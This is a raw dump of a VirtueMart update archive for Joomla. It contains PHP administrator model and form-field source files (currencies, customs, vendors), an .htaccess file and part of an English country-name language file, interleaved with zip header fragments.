VmConfig::loadJLang('com_virtuemart'); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } }PKsl>\VVcom_virtuemart_update/administrator/components/com_virtuemart/models/fields/index.htmlnuW+A PKsl>\Vcom_virtuemart_update/administrator/components/com_virtuemart/models/fields/vendor.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('vendor'); $vendors = $model->getVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $this->name, 'class="inputbox" size="1"', 'virtuemart_vendor_id', 'vendor_name', $this->value, $this->id); } }PKsl>\gE!!Wcom_virtuemart_update/administrator/components/com_virtuemart/models/fields/product.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); return JHTML::_('select.genericlist', $this->_getProducts(), $this->name, 'class="inputbox" ', 'value', 'text', $this->value, $this->id); } private function _getProducts() { if (!class_exists('VmModel')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); $productModel = VmModel::getModel('Product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } }PKsl>\ \com_virtuemart_update/administrator/components/com_virtuemart/models/fields/manufacturer.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('Manufacturer'); $manufacturers = $model->getManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $this->name, 'class="inputbox" size="1"', 'virtuemart_manufacturer_id', 'mf_name', $this->value, $this->id); } }PKsl>\)Ucom_virtuemart_update/administrator/components/com_virtuemart/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Jz>&&Qcom_virtuemart_update/administrator/components/com_virtuemart/models/currency.phpnuW+AsetMainTable('currencies'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Max Milbers */ function getCurrency($currency_id=0) { if(!empty($currency_id)) $this->setId((int)$currency_id); if (empty($this->_data) ) { $this->_data = $this->getTable('currencies'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of currencies from the database. * This function is used in the backend for the currency listing, therefore no asking if enabled or not * @author Max Milbers * @return object List of currency objects */ function getCurrenciesList($search,$vendorId=1) { $where = array(); // $this->_query = 'SELECT * FROM `#__virtuemart_currencies` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if( !Permissions::getInstance()->check('admin') ){ $where[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } if(empty($search)){ $search = JRequest::getString('search', false); } /* add filters */ if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $where[] = '`currency_name` LIKE '.$search.' OR `currency_code_2` LIKE '.$search.' OR `currency_code_3` LIKE '.$search; } // if (JRequest::getString('search', false)) $where[] = '`currency_name` LIKE "%'.$this->_db->getEscaped(JRequest::getString('search')).'%"'; $whereString=''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; // if (count($where) > 0) $this->_query .= ' WHERE '.implode(' AND ', $where) ; // $this->_query .= $this->_getOrdering('currency_name'); // $this->_data = $this->_getList($this->_query, $this->getState('limitstart'), $this->getState('limit')); // $this->_total = $this->_getListCount($this->_query) ; // $object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_currencies`',$whereString,'',$this->_getOrdering()); return $this->_data; // return $this->_data; } /** * Retireve a list of currencies from the database. * * This is written to get a list for selecting currencies. Therefore it asks for enabled * @author Max Milbers * @return object List of currency objects */ function getCurrencies($vendorId=1) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE (`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1") AND published = "1" ORDER BY `#__virtuemart_currencies`.`currency_name`'; $db->setQuery($q); return $db->loadObjectList(); } } // pure php no closing tagPKsl>\W-:":"Ocom_virtuemart_update/administrator/components/com_virtuemart/models/custom.phpnuW+AsetMainTable('customs'); $this->setToggleName('admin_only'); $this->setToggleName('is_hidden'); } /** * Gets a single custom by virtuemart_custom_id * . * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustom(){ if(empty($this->_data)){ // JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); $this->_data = $this->getTable('customs'); $this->_data->load($this->_id); $customfields = VmModel::getModel('Customfields'); $this->_data->field_types = $customfields->getField_types() ; // vmdebug('getCustom $data',$this->_data); if(!empty($this->_data->custom_jplugin_id)){ JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $varsToPushParam = $dispatcher->trigger('plgVmDeclarePluginParams',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id)); $retValue = $dispatcher->trigger('plgVmDeclarePluginParamsCustom',array('custom',$this->_data->custom_element,$this->_data->custom_jplugin_id,&$this->_data)); } else { //Todo this is not working, because the custom is using custom_params, while the customfield is using custom_param ! //VirtueMartModelCustomfields::bindParameterableByFieldType($this->_data); } } return $this->_data; } /** * Retireve a list of customs from the database. This is meant only for backend use * * @author Kohl Patrick, Max Milbers * @return object List of custom objects */ function getCustoms($custom_parent_id,$search = false){ $query='* FROM `#__virtuemart_customs` WHERE field_type <> "R" AND field_type <> "Z" AND field_type <> "G" '; if($custom_parent_id){ $query .= 'AND `custom_parent_id` ='.(int)$custom_parent_id; } if($search){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $query .= 'AND `custom_title` LIKE '.$search; } $datas = new stdClass(); $datas->items = $this->exeSortSearchListQuery(0, $query, '','',$this->_getOrdering()); $customfields = VmModel::getModel('Customfields'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $datas->field_types = $customfields->getField_types() ; foreach ($datas->items as $key => & $data) { if (!empty($data->custom_parent_id)) $data->custom_parent_title = $customfields->getCustomParentTitle($data->custom_parent_id); else { $data->custom_parent_title = '-' ; } if(!empty($datas->field_types[$data->field_type ])){ $data->field_type_display = vmText::_( $datas->field_types[$data->field_type ] ); } else { $data->field_type_display = 'not valid, delete this line'; vmError('The field with id '.$data->virtuemart_custom_id.' and title '.$data->custom_title.' is not longer valid, please delete it from the list'); } } $datas->customsSelect=$customfields->displayCustomSelection(); return $datas; } /** * Creates a clone of a given custom id * * @author Max Milbers * @param int $virtuemart_product_id */ public function createClone($id){ $this->virtuemart_custom_id = $id; $row = $this->getTable('customs'); $row->load( $id ); $row->virtuemart_custom_id = 0; $row->custom_title = $row->custom_title.' Copy'; if (!$clone = $row->store()) { JError::raiseError(500, 'createClone '. $row->getError() ); } return $clone; } /* Save and delete from database * all Child product custom_fields relation * @ var $table : the xref table(eg. product,category ...) * @array $data : array of customfields * @int $id : The concerned id (eg. product_id) **/ public function saveChildCustomRelation($table,$datas) { JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; $customfieldIds = array(); // delete existings from modelXref and table customfields foreach ($datas as $child_id =>$fields) { $fields['virtuemart_'.$table.'_id']=$child_id; $this->_db->setQuery( 'DELETE PC FROM `#__virtuemart_'.$table.'_customfields` as `PC`, `#__virtuemart_customs` as `C` WHERE `PC`.`virtuemart_custom_id` = `C`.`virtuemart_custom_id` AND field_type="C" and virtuemart_'.$table.'_id ='.$child_id ); if(!$this->_db->query()){ vmError('Error in deleting child relation '); //.$this->_db->getQuery()); Dont give hackers too much info } $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } } } public function store(&$data){ if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } else { $data['virtuemart_vendor_id'] = (int) $data['virtuemart_vendor_id']; } // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['custom_jplugin_id'].'"'; $this->_db->setQuery($q); $data['custom_element'] = $this->_db->loadResult(); // vmdebug('store custom',$data); $table = $this->getTable('customs'); if(isset($data['custom_jplugin_id'])){ vmdebug('$data store custom',$data); JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); // $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_value'],$data['custom_jplugin_id'],&$table)); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsCustom',array($data['custom_element'],$data['custom_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); if(!empty($errors)){ foreach($errors as $error){ vmError($error); } } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $error = $dispatcher->trigger('plgVmOnStoreInstallPluginTable', array('custom' , $data, $data['custom_element'])); return $table->virtuemart_custom_id ; } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); $customfields = $this->getTable ('product_customfields'); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } else { //Delete this customfield also in all product_customfield tables if (!$customfields->delete ($id, 'virtuemart_custom_id')) { vmError ('Custom delete Productcustomfield delete ' . $customfields->getError ()); $ok = FALSE; } } } return true; } } // pure php no closing tag PKsl>\,A2A2Ocom_virtuemart_update/administrator/components/com_virtuemart/models/vendor.phpnuW+AsetId (1); } $this->setMainTable ('vendors'); } /** * name: getLoggedVendor * Checks which $vendorId has the just logged in user. * * @author Max Milbers * @param @param $ownerOnly returns only an id if the vendorOwner is logged in (dont get confused with storeowner) * returns int $vendorId */ static function getLoggedVendor ($ownerOnly = TRUE) { $user = JFactory::getUser (); $userId = $user->id; if (isset($userId)) { $vendorId = self::getVendorId ('user', $userId, $ownerOnly); return $vendorId; } else { JError::raiseNotice (1, '$virtuemart_user_id empty, no user logged in'); return 0; } } /** * Retrieve the vendor details from the database. * * @author Max Milbers * @return object Vendor details */ function getVendor ($vendor_id = NULL) { if ($vendor_id) { $this->_id = $vendor_id; } if (empty($this->_data)) { $this->_data = $this->getTable ('vendors'); $this->_data->load ($this->_id); // vmdebug('getVendor',$this->_id,$this->_data); // Convert ; separated string into array if ($this->_data->vendor_accepted_currencies) { $this->_data->vendor_accepted_currencies = explode (',', $this->_data->vendor_accepted_currencies); } else { $this->_data->vendor_accepted_currencies = array(); } //Todo, check this construction $xrefTable = $this->getTable ('vendor_medias'); $this->_data->virtuemart_media_id = $xrefTable->load ($this->_id); } return $this->_data; } /** * Retrieve a list of vendors * todo only names are needed here, maybe it should be enhanced (loading object list is slow) * todo add possibility to load without limit * * @author RickG * @author Max Milbers * @return object List of vendors */ public function getVendors () { $this->setId (0); //This is important ! notice by Max Milbers $query = 'SELECT * FROM `#__virtuemart_vendors_' . VMLANG . '` as l JOIN `#__virtuemart_vendors` as v using (`virtuemart_vendor_id`)'; $query .= ' ORDER BY l.`virtuemart_vendor_id`'; $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); return $this->_data; } /** * Find the user id given a vendor id * * @author Max Milbers * @param int $virtuemart_vendor_id * @return int $virtuemart_user_id */ static function getUserIdByVendorId ($vendorId) { //this function is used static, needs its own db if (empty($vendorId)) { return; } else { $db = JFactory::getDBO (); $query = 'SELECT `virtuemart_user_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_vendor_id`=' . (int)$vendorId; $db->setQuery ($query); $result = $db->loadResult (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('getUserIdByVendorId ' . $err, 'Failed to retrieve user id by vendor'); } return (isset($result) ? $result : 0); } } /** * Bind the post data to the vendor table and save it * This function DOES NOT safe information which is in the vmusers or vm_user_info table * It only stores the stuff into the vendor table * * @author RickG * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ function store (&$data) { JPluginHelper::importPlugin ('vmvendor'); $dispatcher = JDispatcher::getInstance (); $plg_datas = $dispatcher->trigger ('plgVmOnVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } $oldVendorId = $data['virtuemart_vendor_id']; $table = $this->getTable ('vendors'); /* if(!$table->checkDataContainsTableFields($data)){ $app = JFactory::getApplication(); //$app->enqueueMessage('Data contains no Info for vendor, storing not needed'); return $this->_id; }*/ // Store multiple selectlist entries as a ; separated string if (array_key_exists ('vendor_accepted_currencies', $data) && is_array ($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode (',', $data['vendor_accepted_currencies']); } $table->bindChecknStore ($data); $errors = $table->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('store vendor', $error); } //set vendormodel id to the lastinserted one // $dbv = $table->getDBO(); // if(empty($this->_id)) $this->_id = $dbv->insertid(); if (empty($this->_id)) { $data['virtuemart_vendor_id'] = $this->_id = $table->virtuemart_vendor_id; } if ($this->_id != $oldVendorId) { vmdebug('Developer notice, tried to update vendor xref should not appear in singlestore $oldVendorId = '.$oldVendorId.' newId = '.$this->_id); //update user table $usertable = $this->getTable ('vmusers'); // $vendorsUserData =$usertable->load($this->_id); // $vendorsUserData =$usertable->load($data['virtuemart_user_id']); // $vendorsUserData->virtuemart_vendor_id = $virtuemart_vendor_id; //$vmusersData = array('virtuemart_user_id'=>$data['virtuemart_user_id'],'user_is_vendor'=>1,'virtuemart_vendor_id'=>$virtuemart_vendor_id,'customer_number'=>$data['customer_number'],'perms'=>$data['perms']); $usertable->bindChecknStore ($data, TRUE); $errors = $usertable->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('Store vendor ' . $error); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'vendor'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } $plg_datas = $dispatcher->trigger ('plgVmAfterVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } return $this->_id; } /** * Get the vendor specific currency * * @author Oscar van Eijk * @param $_vendorId Vendor ID * @return string Currency code */ static $_vendorCurrencies = array(); static function getVendorCurrency ($_vendorId) { if(!isset(self::$_vendorCurrencies[$_vendorId])){ $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_currencies` AS c , `#__virtuemart_vendors` AS v WHERE v.virtuemart_vendor_id = ' . (int)$_vendorId . ' AND v.vendor_currency = c.virtuemart_currency_id'; $db->setQuery ($q); self::$_vendorCurrencies[$_vendorId] = $db->loadObject (); } return self::$_vendorCurrencies[$_vendorId]; } /** * Retrieve a lost of vendor objects * * @author Oscar van Eijk * @return Array with all Vendor objects */ function getVendorCategories () { $_q = 'SELECT * FROM `#__vm_vendor_category`'; $this->_db->setQuery ($_q); return $this->_db->loadObjectList (); } function getUserIdByOrderId ($virtuemart_order_id) { if (empty ($virtuemart_order_id)) { return 0; } $virtuemart_order_id = (int)$virtuemart_order_id; $q = "SELECT `virtuemart_user_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`='.$virtuemart_order_id'"; // $db->query( $q ); $this->_db->setQuery ($q); // if($db->next_record()){ if ($this->_db->query ()) { // $virtuemart_user_id = $db->f('virtuemart_user_id'); return $this->_db->loadResult (); } else { JError::raiseNotice (1, 'Error in DB $virtuemart_order_id ' . $virtuemart_order_id . ' dont have a virtuemart_user_id'); return 0; } } /** * Gets the vendorId by user Id mapped by table auth_user_vendor or by the order item * Assigned users cannot change storeinformations * ownerOnly = false should be used for users who are assigned to a vendor * for administrative jobs like execution of orders or managing products * Changing of vendorinformation should ONLY be possible by the Mainvendor who is in charge * * @author by Max Milbers * @author RolandD * @param string $type Where the vendor ID should be taken from * @param mixed $value Whatever value the vendor ID should be filtered on * @return int Vendor ID */ static public function getVendorId ($type, $value, $ownerOnly = TRUE) { if (empty($value)) { return 0; } //sanitize input params $value = (int)$value; //static call used, so we need our own db instance $db = JFactory::getDBO (); switch ($type) { case 'order': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_order_items WHERE virtuemart_order_id=' . $value; break; case 'user': if ($ownerOnly) { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` LEFT JOIN `#__virtuemart_userinfos` `u` ON (au.virtuemart_user_id = u.virtuemart_user_id) WHERE `u`.`virtuemart_user_id`=' . $value; } else { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $value . '" '; } break; case 'product': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_products WHERE virtuemart_product_id=' . $value; break; } $db->setQuery ($q); $virtuemart_vendor_id = $db->loadResult (); if ($virtuemart_vendor_id) { return $virtuemart_vendor_id; } else { return 0; // if($type!='user'){ // return 0; // } else { // JError::raiseNotice(1, 'No virtuemart_vendor_id found for '.$value.' on '.$type.' check.'); // return 0; // } } } /** * This function gives back the storename for the given vendor. * * @author Max Milbers */ public function getVendorName ($virtuemart_vendor_id = 1) { $query = 'SELECT `vendor_store_name` FROM `#__virtuemart_vendors_' . VMLANG . '` WHERE `virtuemart_vendor_id` = "' . (int)$virtuemart_vendor_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } /** * This function gives back the email for the given vendor. * * @author Max Milbers */ public function getVendorEmail ($virtuemart_vendor_id) { $virtuemart_user_id = self::getUserIdByVendorId ((int)$virtuemart_vendor_id); if (!empty($virtuemart_user_id)) { $query = 'SELECT `email` FROM `#__users` WHERE `id` = "' . $virtuemart_user_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } return ''; } public function getVendorAdressBT ($virtuemart_vendor_id) { $userId = self::getUserIdByVendorId ($virtuemart_vendor_id); $usermodel = VmModel::getModel ('user'); // $usermodel->setId($userId); $virtuemart_userinfo_id = $usermodel->getBTuserinfo_id ($userId); $vendorAddressBt = $this->getTable ('userinfos'); $vendorAddressBt->load ($virtuemart_userinfo_id); return $vendorAddressBt; } private $_vendorFields = FALSE; public function getVendorAddressFields(){ if(!$this->_vendorFields){ $userId = VirtueMartModelVendor::getUserIdByVendorId ($this->_id); $userModel = VmModel::getModel ('user'); $virtuemart_userinfo_id = $userModel->getBTuserinfo_id ($userId); // this is needed to set the correct user id for the vendor when the user is logged $userModel->getVendor($this->_id,FALSE); $vendorFieldsArray = $userModel->getUserInfoInUserFields ('mail', 'BT', $virtuemart_userinfo_id, FALSE, TRUE); $this->_vendorFields = $vendorFieldsArray[$virtuemart_userinfo_id]; } return $this->_vendorFields; } } PKsl>\VQcom_virtuemart_update/administrator/components/com_virtuemart/language/index.htmlnuW+A PKsl>\RXDb)b)ocom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" 